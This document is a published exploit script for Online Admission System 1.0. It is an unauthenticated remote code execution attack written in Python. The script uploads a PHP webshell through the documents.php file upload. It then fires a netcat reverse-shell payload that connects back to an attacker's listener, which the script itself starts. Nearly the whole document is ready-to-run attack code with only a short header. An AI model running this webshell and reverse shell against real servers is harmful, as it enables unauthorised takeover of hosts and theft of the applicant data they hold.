Online Admission System 1.0 Remote Code Execution

`# Exploit Title: Online Admission System 1.0 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 23/12/2021  
# Exploit Author: Jeremiasz Pluta  
# Vendor Homepage: https://github.com/rskoolrash/Online-Admission-System  
# Software Link: https://github.com/rskoolrash/Online-Admission-System  
# Tested on: LAMP Stack (Debian 10)  
  
#!/usr/bin/python  
import sys  
import re  
import argparse  
import requests  
import time  
import subprocess  
  
print('Exploit for Online Admission System 1.0 - Remote Code Execution (Unauthenticated)')  
  
path = '/' #change me if the path to the /oas is in the root directory or another subdir  
  
class Exploit:  
  
def __init__(self, target_ip, target_port, localhost, localport):  
self.target_ip = target_ip  
self.target_port = target_port  
self.localhost = localhost  
self.localport = localport  
  
def exploitation(self):  
payload = """<?php system($_GET['cmd']); ?>"""  
payload2 = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""  
  
url = 'http://' + target_ip + ':' + target_port + path  
r = requests.Session()  
  
print('[*] Resolving URL...')  
r1 = r.get(url + 'documents.php')  
time.sleep(3)  
  
#Upload the payload file  
print('[*] Uploading the webshell payload...')  
files = {  
'fpic': ('cmd.php', payload + '\n', 'application/x-php'),  
'ftndoc': ('', '', 'application/octet-stream'),  
'ftcdoc': ('', '', 'application/octet-stream'),  
'fdmdoc': ('', '', 'application/octet-stream'),  
'ftcdoc': ('', '', 'application/octet-stream'),  
'fdcdoc': ('', '', 'application/octet-stream'),  
'fide': ('', '', 'application/octet-stream'),  
'fsig': ('', '', 'application/octet-stream'),  
}  
data = {'fpicup':'Submit Query'}  
r2 = r.post(url + 'documents.php', files=files, allow_redirects=True, data=data)  
time.sleep(3)  
  
print('[*] Setting up netcat listener...')  
listener = subprocess.Popen(["nc", "-nvlp", self.localport])  
time.sleep(3)  
  
print('[*] Spawning reverse shell...')  
print('[*] Watchout!')  
r3 = r.get(url + '/studentpic/cmd.php?cmd=' + payload2)  
time.sleep(3)  
  
if (r3.status_code == 200):  
print('[*] Got shell!')  
while True:  
listener.wait()  
else:  
print('[-] Something went wrong!')  
listener.terminate()  
  
def get_args():  
parser = argparse.ArgumentParser(description='Online Admission System 1.0 - Remote Code Execution (RCE) (Unauthenticated)')  
parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')  
parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')  
parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')  
parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')  
args = parser.parse_args()  
return args  
  
args = get_args()  
target_ip = args.url  
target_port = args.target_port  
localhost = args.localhost  
localport = args.localport  
  
exp = Exploit(target_ip, target_port, localhost, localport)  
exp.exploitation()  
  
`